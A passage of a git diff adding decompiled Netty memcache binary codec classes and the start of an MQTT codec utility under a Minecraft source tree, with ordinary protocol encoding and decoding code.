+    protected void encode(ChannelHandlerContext ctx, Object msg, List<Object> out) throws Exception {
+      super.encode(ctx, msg, out);
+      
+      if ((failOnMissingResponse) && ((msg instanceof LastMemcacheContent))) {
+        requestResponseCounter.incrementAndGet();
+      }
+    }
+  }
+  
+  private final class Decoder extends BinaryMemcacheResponseDecoder
+  {
+    Decoder(int chunkSize) {
+      super();
+    }
+    
+    protected void decode(ChannelHandlerContext ctx, ByteBuf in, List<Object> out) throws Exception
+    {
+      int oldSize = out.size();
+      super.decode(ctx, in, out);
+      
+      if (failOnMissingResponse) {
+        int size = out.size();
+        for (int i = oldSize; i < size; i++) {
+          Object msg = out.get(i);
+          if ((msg instanceof LastMemcacheContent)) {
+            requestResponseCounter.decrementAndGet();
+          }
+        }
+      }
+    }
+    
+    public void channelInactive(ChannelHandlerContext ctx) throws Exception
+    {
+      super.channelInactive(ctx);
+      
+      if (failOnMissingResponse) {
+        long missingResponses = requestResponseCounter.get();
+        if (missingResponses > 0L) {
+          ctx.fireExceptionCaught(new PrematureChannelClosureException("channel gone inactive with " + missingResponses + " missing response(s)"));
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheMessage.java b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheMessage.java
new file mode 100644
index 0000000..ce172e8
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheMessage.java
@@ -0,0 +1,52 @@
+package io.netty.handler.codec.memcache.binary;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.handler.codec.memcache.MemcacheMessage;
+
+public abstract interface BinaryMemcacheMessage
+  extends MemcacheMessage
+{
+  public abstract byte magic();
+  
+  public abstract BinaryMemcacheMessage setMagic(byte paramByte);
+  
+  public abstract byte opcode();
+  
+  public abstract BinaryMemcacheMessage setOpcode(byte paramByte);
+  
+  public abstract short keyLength();
+  
+  public abstract byte extrasLength();
+  
+  public abstract byte dataType();
+  
+  public abstract BinaryMemcacheMessage setDataType(byte paramByte);
+  
+  public abstract int totalBodyLength();
+  
+  public abstract BinaryMemcacheMessage setTotalBodyLength(int paramInt);
+  
+  public abstract int opaque();
+  
+  public abstract BinaryMemcacheMessage setOpaque(int paramInt);
+  
+  public abstract long cas();
+  
+  public abstract BinaryMemcacheMessage setCas(long paramLong);
+  
+  public abstract ByteBuf key();
+  
+  public abstract BinaryMemcacheMessage setKey(ByteBuf paramByteBuf);
+  
+  public abstract ByteBuf extras();
+  
+  public abstract BinaryMemcacheMessage setExtras(ByteBuf paramByteBuf);
+  
+  public abstract BinaryMemcacheMessage retain();
+  
+  public abstract BinaryMemcacheMessage retain(int paramInt);
+  
+  public abstract BinaryMemcacheMessage touch();
+  
+  public abstract BinaryMemcacheMessage touch(Object paramObject);
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheObjectAggregator.java b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheObjectAggregator.java
new file mode 100644
index 0000000..85d5870
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheObjectAggregator.java
@@ -0,0 +1,94 @@
+package io.netty.handler.codec.memcache.binary;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.handler.codec.memcache.AbstractMemcacheObjectAggregator;
+import io.netty.handler.codec.memcache.FullMemcacheMessage;
+import io.netty.handler.codec.memcache.MemcacheObject;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BinaryMemcacheObjectAggregator
+  extends AbstractMemcacheObjectAggregator<BinaryMemcacheMessage>
+{
+  public BinaryMemcacheObjectAggregator(int maxContentLength)
+  {
+    super(maxContentLength);
+  }
+  
+  protected boolean isStartMessage(MemcacheObject msg) throws Exception
+  {
+    return msg instanceof BinaryMemcacheMessage;
+  }
+  
+  protected FullMemcacheMessage beginAggregation(BinaryMemcacheMessage start, ByteBuf content) throws Exception
+  {
+    if ((start instanceof BinaryMemcacheRequest)) {
+      return toFullRequest((BinaryMemcacheRequest)start, content);
+    }
+    
+    if ((start instanceof BinaryMemcacheResponse)) {
+      return toFullResponse((BinaryMemcacheResponse)start, content);
+    }
+    
+
+    throw new Error();
+  }
+  
+  private static FullBinaryMemcacheRequest toFullRequest(BinaryMemcacheRequest request, ByteBuf content) {
+    ByteBuf key = request.key() == null ? null : request.key().retain();
+    ByteBuf extras = request.extras() == null ? null : request.extras().retain();
+    DefaultFullBinaryMemcacheRequest fullRequest = new DefaultFullBinaryMemcacheRequest(key, extras, content);
+    
+
+    fullRequest.setMagic(request.magic());
+    fullRequest.setOpcode(request.opcode());
+    fullRequest.setKeyLength(request.keyLength());
+    fullRequest.setExtrasLength(request.extrasLength());
+    fullRequest.setDataType(request.dataType());
+    fullRequest.setTotalBodyLength(request.totalBodyLength());
+    fullRequest.setOpaque(request.opaque());
+    fullRequest.setCas(request.cas());
+    fullRequest.setReserved(request.reserved());
+    
+    return fullRequest;
+  }
+  
+  private static FullBinaryMemcacheResponse toFullResponse(BinaryMemcacheResponse response, ByteBuf content) {
+    ByteBuf key = response.key() == null ? null : response.key().retain();
+    ByteBuf extras = response.extras() == null ? null : response.extras().retain();
+    DefaultFullBinaryMemcacheResponse fullResponse = new DefaultFullBinaryMemcacheResponse(key, extras, content);
+    
+
+    fullResponse.setMagic(response.magic());
+    fullResponse.setOpcode(response.opcode());
+    fullResponse.setKeyLength(response.keyLength());
+    fullResponse.setExtrasLength(response.extrasLength());
+    fullResponse.setDataType(response.dataType());
+    fullResponse.setTotalBodyLength(response.totalBodyLength());
+    fullResponse.setOpaque(response.opaque());
+    fullResponse.setCas(response.cas());
+    fullResponse.setStatus(response.status());
+    
+    return fullResponse;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheOpcodes.java b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheOpcodes.java
new file mode 100644
index 0000000..46d74c4
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheOpcodes.java
@@ -0,0 +1,42 @@
+package io.netty.handler.codec.memcache.binary;
+
+public final class BinaryMemcacheOpcodes
+{
+  public static final byte GET = 0;
+  public static final byte SET = 1;
+  public static final byte ADD = 2;
+  public static final byte REPLACE = 3;
+  public static final byte DELETE = 4;
+  public static final byte INCREMENT = 5;
+  public static final byte DECREMENT = 6;
+  public static final byte QUIT = 7;
+  public static final byte FLUSH = 8;
+  public static final byte GETQ = 9;
+  public static final byte NOOP = 10;
+  public static final byte VERSION = 11;
+  public static final byte GETK = 12;
+  public static final byte GETKQ = 13;
+  public static final byte APPEND = 14;
+  public static final byte PREPEND = 15;
+  public static final byte STAT = 16;
+  public static final byte SETQ = 17;
+  public static final byte ADDQ = 18;
+  public static final byte REPLACEQ = 19;
+  public static final byte DELETEQ = 20;
+  public static final byte INCREMENTQ = 21;
+  public static final byte DECREMENTQ = 22;
+  public static final byte QUITQ = 23;
+  public static final byte FLUSHQ = 24;
+  public static final byte APPENDQ = 25;
+  public static final byte PREPENDQ = 26;
+  public static final byte TOUCH = 28;
+  public static final byte GAT = 29;
+  public static final byte GATQ = 30;
+  public static final byte GATK = 35;
+  public static final byte GATKQ = 36;
+  public static final byte SASL_LIST_MECHS = 32;
+  public static final byte SASL_AUTH = 33;
+  public static final byte SASL_STEP = 34;
+  
+  private BinaryMemcacheOpcodes() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheRequest.java b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheRequest.java
new file mode 100644
index 0000000..e11cd2d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheRequest.java
@@ -0,0 +1,17 @@
+package io.netty.handler.codec.memcache.binary;
+
+public abstract interface BinaryMemcacheRequest
+  extends BinaryMemcacheMessage
+{
+  public abstract short reserved();
+  
+  public abstract BinaryMemcacheRequest setReserved(short paramShort);
+  
+  public abstract BinaryMemcacheRequest retain();
+  
+  public abstract BinaryMemcacheRequest retain(int paramInt);
+  
+  public abstract BinaryMemcacheRequest touch();
+  
+  public abstract BinaryMemcacheRequest touch(Object paramObject);
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheRequestDecoder.java b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheRequestDecoder.java
new file mode 100644
index 0000000..edb9efa
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheRequestDecoder.java
@@ -0,0 +1,56 @@
+package io.netty.handler.codec.memcache.binary;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BinaryMemcacheRequestDecoder
+  extends AbstractBinaryMemcacheDecoder<BinaryMemcacheRequest>
+{
+  public BinaryMemcacheRequestDecoder()
+  {
+    this(8192);
+  }
+  
+  public BinaryMemcacheRequestDecoder(int chunkSize) {
+    super(chunkSize);
+  }
+  
+  protected BinaryMemcacheRequest decodeHeader(ByteBuf in)
+  {
+    DefaultBinaryMemcacheRequest header = new DefaultBinaryMemcacheRequest();
+    header.setMagic(in.readByte());
+    header.setOpcode(in.readByte());
+    header.setKeyLength(in.readShort());
+    header.setExtrasLength(in.readByte());
+    header.setDataType(in.readByte());
+    header.setReserved(in.readShort());
+    header.setTotalBodyLength(in.readInt());
+    header.setOpaque(in.readInt());
+    header.setCas(in.readLong());
+    return header;
+  }
+  
+  protected BinaryMemcacheRequest buildInvalidMessage()
+  {
+    return new DefaultBinaryMemcacheRequest(Unpooled.EMPTY_BUFFER, Unpooled.EMPTY_BUFFER);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheRequestEncoder.java b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheRequestEncoder.java
new file mode 100644
index 0000000..666138e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheRequestEncoder.java
@@ -0,0 +1,40 @@
+package io.netty.handler.codec.memcache.binary;
+
+import io.netty.buffer.ByteBuf;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BinaryMemcacheRequestEncoder
+  extends AbstractBinaryMemcacheEncoder<BinaryMemcacheRequest>
+{
+  public BinaryMemcacheRequestEncoder() {}
+  
+  protected void encodeHeader(ByteBuf buf, BinaryMemcacheRequest msg)
+  {
+    buf.writeByte(msg.magic());
+    buf.writeByte(msg.opcode());
+    buf.writeShort(msg.keyLength());
+    buf.writeByte(msg.extrasLength());
+    buf.writeByte(msg.dataType());
+    buf.writeShort(msg.reserved());
+    buf.writeInt(msg.totalBodyLength());
+    buf.writeInt(msg.opaque());
+    buf.writeLong(msg.cas());
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheResponse.java b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheResponse.java
new file mode 100644
index 0000000..5654a0d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheResponse.java
@@ -0,0 +1,17 @@
+package io.netty.handler.codec.memcache.binary;
+
+public abstract interface BinaryMemcacheResponse
+  extends BinaryMemcacheMessage
+{
+  public abstract short status();
+  
+  public abstract BinaryMemcacheResponse setStatus(short paramShort);
+  
+  public abstract BinaryMemcacheResponse retain();
+  
+  public abstract BinaryMemcacheResponse retain(int paramInt);
+  
+  public abstract BinaryMemcacheResponse touch();
+  
+  public abstract BinaryMemcacheResponse touch(Object paramObject);
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheResponseDecoder.java b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheResponseDecoder.java
new file mode 100644
index 0000000..5e71fb4
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheResponseDecoder.java
@@ -0,0 +1,56 @@
+package io.netty.handler.codec.memcache.binary;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BinaryMemcacheResponseDecoder
+  extends AbstractBinaryMemcacheDecoder<BinaryMemcacheResponse>
+{
+  public BinaryMemcacheResponseDecoder()
+  {
+    this(8192);
+  }
+  
+  public BinaryMemcacheResponseDecoder(int chunkSize) {
+    super(chunkSize);
+  }
+  
+  protected BinaryMemcacheResponse decodeHeader(ByteBuf in)
+  {
+    DefaultBinaryMemcacheResponse header = new DefaultBinaryMemcacheResponse();
+    header.setMagic(in.readByte());
+    header.setOpcode(in.readByte());
+    header.setKeyLength(in.readShort());
+    header.setExtrasLength(in.readByte());
+    header.setDataType(in.readByte());
+    header.setStatus(in.readShort());
+    header.setTotalBodyLength(in.readInt());
+    header.setOpaque(in.readInt());
+    header.setCas(in.readLong());
+    return header;
+  }
+  
+  protected BinaryMemcacheResponse buildInvalidMessage()
+  {
+    return new DefaultBinaryMemcacheResponse(Unpooled.EMPTY_BUFFER, Unpooled.EMPTY_BUFFER);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheResponseEncoder.java b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheResponseEncoder.java
new file mode 100644
index 0000000..c48438a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheResponseEncoder.java
@@ -0,0 +1,40 @@
+package io.netty.handler.codec.memcache.binary;
+
+import io.netty.buffer.ByteBuf;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BinaryMemcacheResponseEncoder
+  extends AbstractBinaryMemcacheEncoder<BinaryMemcacheResponse>
+{
+  public BinaryMemcacheResponseEncoder() {}
+  
+  protected void encodeHeader(ByteBuf buf, BinaryMemcacheResponse msg)
+  {
+    buf.writeByte(msg.magic());
+    buf.writeByte(msg.opcode());
+    buf.writeShort(msg.keyLength());
+    buf.writeByte(msg.extrasLength());
+    buf.writeByte(msg.dataType());
+    buf.writeShort(msg.status());
+    buf.writeInt(msg.totalBodyLength());
+    buf.writeInt(msg.opaque());
+    buf.writeLong(msg.cas());
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheResponseStatus.java b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheResponseStatus.java
new file mode 100644
index 0000000..6661499
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheResponseStatus.java
@@ -0,0 +1,18 @@
+package io.netty.handler.codec.memcache.binary;
+
+public final class BinaryMemcacheResponseStatus
+{
+  public static final short SUCCESS = 0;
+  public static final short KEY_ENOENT = 1;
+  public static final short KEY_EEXISTS = 2;
+  public static final short E2BIG = 3;
+  public static final short EINVA = 4;
+  public static final short NOT_STORED = 5;
+  public static final short DELTA_BADVAL = 6;
+  public static final short AUTH_ERROR = 32;
+  public static final short AUTH_CONTINUE = 33;
+  public static final short UNKNOWN_COMMAND = 129;
+  public static final short ENOMEM = 130;
+  
+  private BinaryMemcacheResponseStatus() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheServerCodec.java b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheServerCodec.java
new file mode 100644
index 0000000..9990a9d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/binary/BinaryMemcacheServerCodec.java
@@ -0,0 +1,39 @@
+package io.netty.handler.codec.memcache.binary;
+
+import io.netty.channel.CombinedChannelDuplexHandler;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class BinaryMemcacheServerCodec
+  extends CombinedChannelDuplexHandler<BinaryMemcacheRequestDecoder, BinaryMemcacheResponseEncoder>
+{
+  public BinaryMemcacheServerCodec()
+  {
+    this(8192);
+  }
+  
+  public BinaryMemcacheServerCodec(int decodeChunkSize) {
+    super(new BinaryMemcacheRequestDecoder(decodeChunkSize), new BinaryMemcacheResponseEncoder());
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/binary/DefaultBinaryMemcacheRequest.java b/src/minecraft/io/netty/handler/codec/memcache/binary/DefaultBinaryMemcacheRequest.java
new file mode 100644
index 0000000..4e434c3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/binary/DefaultBinaryMemcacheRequest.java
@@ -0,0 +1,95 @@
+package io.netty.handler.codec.memcache.binary;
+
+import io.netty.buffer.ByteBuf;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultBinaryMemcacheRequest
+  extends AbstractBinaryMemcacheMessage
+  implements BinaryMemcacheRequest
+{
+  public static final byte REQUEST_MAGIC_BYTE = -128;
+  private short reserved;
+  
+  public DefaultBinaryMemcacheRequest()
+  {
+    this(null, null);
+  }
+  
+
+
+
+
+  public DefaultBinaryMemcacheRequest(ByteBuf key)
+  {
+    this(key, null);
+  }
+  
+
+
+
+
+
+  public DefaultBinaryMemcacheRequest(ByteBuf key, ByteBuf extras)
+  {
+    super(key, extras);
+    setMagic((byte)Byte.MIN_VALUE);
+  }
+  
+  public short reserved()
+  {
+    return reserved;
+  }
+  
+  public BinaryMemcacheRequest setReserved(short reserved)
+  {
+    this.reserved = reserved;
+    return this;
+  }
+  
+  public BinaryMemcacheRequest retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public BinaryMemcacheRequest retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+  
+  public BinaryMemcacheRequest touch()
+  {
+    super.touch();
+    return this;
+  }
+  
+  public BinaryMemcacheRequest touch(Object hint)
+  {
+    super.touch(hint);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/binary/DefaultBinaryMemcacheResponse.java b/src/minecraft/io/netty/handler/codec/memcache/binary/DefaultBinaryMemcacheResponse.java
new file mode 100644
index 0000000..009e0b3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/binary/DefaultBinaryMemcacheResponse.java
@@ -0,0 +1,95 @@
+package io.netty.handler.codec.memcache.binary;
+
+import io.netty.buffer.ByteBuf;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultBinaryMemcacheResponse
+  extends AbstractBinaryMemcacheMessage
+  implements BinaryMemcacheResponse
+{
+  public static final byte RESPONSE_MAGIC_BYTE = -127;
+  private short status;
+  
+  public DefaultBinaryMemcacheResponse()
+  {
+    this(null, null);
+  }
+  
+
+
+
+
+  public DefaultBinaryMemcacheResponse(ByteBuf key)
+  {
+    this(key, null);
+  }
+  
+
+
+
+
+
+  public DefaultBinaryMemcacheResponse(ByteBuf key, ByteBuf extras)
+  {
+    super(key, extras);
+    setMagic((byte)-127);
+  }
+  
+  public short status()
+  {
+    return status;
+  }
+  
+  public BinaryMemcacheResponse setStatus(short status)
+  {
+    this.status = status;
+    return this;
+  }
+  
+  public BinaryMemcacheResponse retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public BinaryMemcacheResponse retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+  
+  public BinaryMemcacheResponse touch()
+  {
+    super.touch();
+    return this;
+  }
+  
+  public BinaryMemcacheResponse touch(Object hint)
+  {
+    super.touch(hint);
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/binary/DefaultFullBinaryMemcacheRequest.java b/src/minecraft/io/netty/handler/codec/memcache/binary/DefaultFullBinaryMemcacheRequest.java
new file mode 100644
index 0000000..45f6999
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/binary/DefaultFullBinaryMemcacheRequest.java
@@ -0,0 +1,138 @@
+package io.netty.handler.codec.memcache.binary;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultFullBinaryMemcacheRequest
+  extends DefaultBinaryMemcacheRequest
+  implements FullBinaryMemcacheRequest
+{
+  private final ByteBuf content;
+  
+  public DefaultFullBinaryMemcacheRequest(ByteBuf key, ByteBuf extras)
+  {
+    this(key, extras, Unpooled.buffer(0));
+  }
+  
+
+
+
+
+
+
+
+  public DefaultFullBinaryMemcacheRequest(ByteBuf key, ByteBuf extras, ByteBuf content)
+  {
+    super(key, extras);
+    if (content == null) {
+      throw new NullPointerException("Supplied content is null.");
+    }
+    
+    this.content = content;
+    setTotalBodyLength(keyLength() + extrasLength() + content.readableBytes());
+  }
+  
+  public ByteBuf content()
+  {
+    return content;
+  }
+  
+  public FullBinaryMemcacheRequest retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public FullBinaryMemcacheRequest retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+  
+  public FullBinaryMemcacheRequest touch()
+  {
+    super.touch();
+    return this;
+  }
+  
+  public FullBinaryMemcacheRequest touch(Object hint)
+  {
+    super.touch(hint);
+    content.touch(hint);
+    return this;
+  }
+  
+  protected void deallocate()
+  {
+    super.deallocate();
+    content.release();
+  }
+  
+  public FullBinaryMemcacheRequest copy()
+  {
+    ByteBuf key = key();
+    if (key != null) {
+      key = key.copy();
+    }
+    ByteBuf extras = extras();
+    if (extras != null) {
+      extras = extras.copy();
+    }
+    return new DefaultFullBinaryMemcacheRequest(key, extras, content().copy());
+  }
+  
+  public FullBinaryMemcacheRequest duplicate()
+  {
+    ByteBuf key = key();
+    if (key != null) {
+      key = key.duplicate();
+    }
+    ByteBuf extras = extras();
+    if (extras != null) {
+      extras = extras.duplicate();
+    }
+    return new DefaultFullBinaryMemcacheRequest(key, extras, content().duplicate());
+  }
+  
+  public FullBinaryMemcacheRequest retainedDuplicate()
+  {
+    return replace(content().retainedDuplicate());
+  }
+  
+  public FullBinaryMemcacheRequest replace(ByteBuf content)
+  {
+    ByteBuf key = key();
+    if (key != null) {
+      key = key.retainedDuplicate();
+    }
+    ByteBuf extras = extras();
+    if (extras != null) {
+      extras = extras.retainedDuplicate();
+    }
+    return new DefaultFullBinaryMemcacheRequest(key, extras, content);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/binary/DefaultFullBinaryMemcacheResponse.java b/src/minecraft/io/netty/handler/codec/memcache/binary/DefaultFullBinaryMemcacheResponse.java
new file mode 100644
index 0000000..25e3126
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/binary/DefaultFullBinaryMemcacheResponse.java
@@ -0,0 +1,138 @@
+package io.netty.handler.codec.memcache.binary;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefaultFullBinaryMemcacheResponse
+  extends DefaultBinaryMemcacheResponse
+  implements FullBinaryMemcacheResponse
+{
+  private final ByteBuf content;
+  
+  public DefaultFullBinaryMemcacheResponse(ByteBuf key, ByteBuf extras)
+  {
+    this(key, extras, Unpooled.buffer(0));
+  }
+  
+
+
+
+
+
+
+
+  public DefaultFullBinaryMemcacheResponse(ByteBuf key, ByteBuf extras, ByteBuf content)
+  {
+    super(key, extras);
+    if (content == null) {
+      throw new NullPointerException("Supplied content is null.");
+    }
+    
+    this.content = content;
+    setTotalBodyLength(keyLength() + extrasLength() + content.readableBytes());
+  }
+  
+  public ByteBuf content()
+  {
+    return content;
+  }
+  
+  public FullBinaryMemcacheResponse retain()
+  {
+    super.retain();
+    return this;
+  }
+  
+  public FullBinaryMemcacheResponse retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+  
+  public FullBinaryMemcacheResponse touch()
+  {
+    super.touch();
+    return this;
+  }
+  
+  public FullBinaryMemcacheResponse touch(Object hint)
+  {
+    super.touch(hint);
+    content.touch(hint);
+    return this;
+  }
+  
+  protected void deallocate()
+  {
+    super.deallocate();
+    content.release();
+  }
+  
+  public FullBinaryMemcacheResponse copy()
+  {
+    ByteBuf key = key();
+    if (key != null) {
+      key = key.copy();
+    }
+    ByteBuf extras = extras();
+    if (extras != null) {
+      extras = extras.copy();
+    }
+    return new DefaultFullBinaryMemcacheResponse(key, extras, content().copy());
+  }
+  
+  public FullBinaryMemcacheResponse duplicate()
+  {
+    ByteBuf key = key();
+    if (key != null) {
+      key = key.duplicate();
+    }
+    ByteBuf extras = extras();
+    if (extras != null) {
+      extras = extras.duplicate();
+    }
+    return new DefaultFullBinaryMemcacheResponse(key, extras, content().duplicate());
+  }
+  
+  public FullBinaryMemcacheResponse retainedDuplicate()
+  {
+    return replace(content().retainedDuplicate());
+  }
+  
+  public FullBinaryMemcacheResponse replace(ByteBuf content)
+  {
+    ByteBuf key = key();
+    if (key != null) {
+      key = key.retainedDuplicate();
+    }
+    ByteBuf extras = extras();
+    if (extras != null) {
+      extras = extras.retainedDuplicate();
+    }
+    return new DefaultFullBinaryMemcacheResponse(key, extras, content);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/binary/FullBinaryMemcacheRequest.java b/src/minecraft/io/netty/handler/codec/memcache/binary/FullBinaryMemcacheRequest.java
new file mode 100644
index 0000000..576a1aa
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/binary/FullBinaryMemcacheRequest.java
@@ -0,0 +1,24 @@
+package io.netty.handler.codec.memcache.binary;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.handler.codec.memcache.FullMemcacheMessage;
+
+public abstract interface FullBinaryMemcacheRequest
+  extends BinaryMemcacheRequest, FullMemcacheMessage
+{
+  public abstract FullBinaryMemcacheRequest copy();
+  
+  public abstract FullBinaryMemcacheRequest duplicate();
+  
+  public abstract FullBinaryMemcacheRequest retainedDuplicate();
+  
+  public abstract FullBinaryMemcacheRequest replace(ByteBuf paramByteBuf);
+  
+  public abstract FullBinaryMemcacheRequest retain(int paramInt);
+  
+  public abstract FullBinaryMemcacheRequest retain();
+  
+  public abstract FullBinaryMemcacheRequest touch();
+  
+  public abstract FullBinaryMemcacheRequest touch(Object paramObject);
+}
diff --git a/src/minecraft/io/netty/handler/codec/memcache/binary/FullBinaryMemcacheResponse.java b/src/minecraft/io/netty/handler/codec/memcache/binary/FullBinaryMemcacheResponse.java
new file mode 100644
index 0000000..5ebd36f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/memcache/binary/FullBinaryMemcacheResponse.java
@@ -0,0 +1,24 @@
+package io.netty.handler.codec.memcache.binary;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.handler.codec.memcache.FullMemcacheMessage;
+
+public abstract interface FullBinaryMemcacheResponse
+  extends BinaryMemcacheResponse, FullMemcacheMessage
+{
+  public abstract FullBinaryMemcacheResponse copy();
+  
+  public abstract FullBinaryMemcacheResponse duplicate();
+  
+  public abstract FullBinaryMemcacheResponse retainedDuplicate();
+  
+  public abstract FullBinaryMemcacheResponse replace(ByteBuf paramByteBuf);
+  
+  public abstract FullBinaryMemcacheResponse retain(int paramInt);
+  
+  public abstract FullBinaryMemcacheResponse retain();
+  
+  public abstract FullBinaryMemcacheResponse touch();
+  
+  public abstract FullBinaryMemcacheResponse touch(Object paramObject);
+}
diff --git a/src/minecraft/io/netty/handler/codec/mqtt/MqttCodecUtil.java b/src/minecraft/io/netty/handler/codec/mqtt/MqttCodecUtil.java
new file mode 100644
index 0000000..b343c54
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/mqtt/MqttCodecUtil.java
@@ -0,0 +1,107 @@
+package io.netty.handler.codec.mqtt;
+
+import io.netty.handler.codec.DecoderException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class MqttCodecUtil
+{
+  private static final char[] TOPIC_WILDCARDS = { '#', '+' };
+  private static final int MIN_CLIENT_ID_LENGTH = 1;
+  private static final int MAX_CLIENT_ID_LENGTH = 23;
+  
+  static boolean isValidPublishTopicName(String topicName)
+  {
+    for (char c : TOPIC_WILDCARDS) {
+      if (topicName.indexOf(c) >= 0) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+  static boolean isValidMessageId(int messageId) {
+    return messageId != 0;
+  }
+  
+  static boolean isValidClientId(MqttVersion mqttVersion, String clientId) {
+    if (mqttVersion == MqttVersion.MQTT_3_1) {
+      return (clientId != null) && (clientId.length() >= 1) && (clientId.length() <= 23);
+    }
+    
+    if (mqttVersion == MqttVersion.MQTT_3_1_1)
+    {
+
+      return clientId != null;
+    }
+    throw new IllegalArgumentException(mqttVersion + " is unknown mqtt version");
+  }
+  
+  static MqttFixedHeader validateFixedHeader(MqttFixedHeader mqttFixedHeader) {
+    switch (1.$SwitchMap$io$netty$handler$codec$mqtt$MqttMessageType[mqttFixedHeader.messageType().ordinal()]) {
+    case 1: 
+    case 2: 
+    case 3: 
+      if (mqttFixedHeader.qosLevel() != MqttQoS.AT_LEAST_ONCE)
+        throw new DecoderException(mqttFixedHeader.messageType().name() + " message must have QoS 1");
+      break;
+    }
+    return mqttFixedHeader;
+  }
+  
+  static MqttFixedHeader resetUnusedFields(MqttFixedHeader mqttFixedHeader)
+  {
+    switch (1.$SwitchMap$io$netty$handler$codec$mqtt$MqttMessageType[mqttFixedHeader.messageType().ordinal()]) {
+    case 4: 
+    case 5: 
+    case 6: 
+    case 7: 
+    case 8: 
+    case 9: 
+    case 10: 
+    case 11: 
+    case 12: 
+    case 13: 
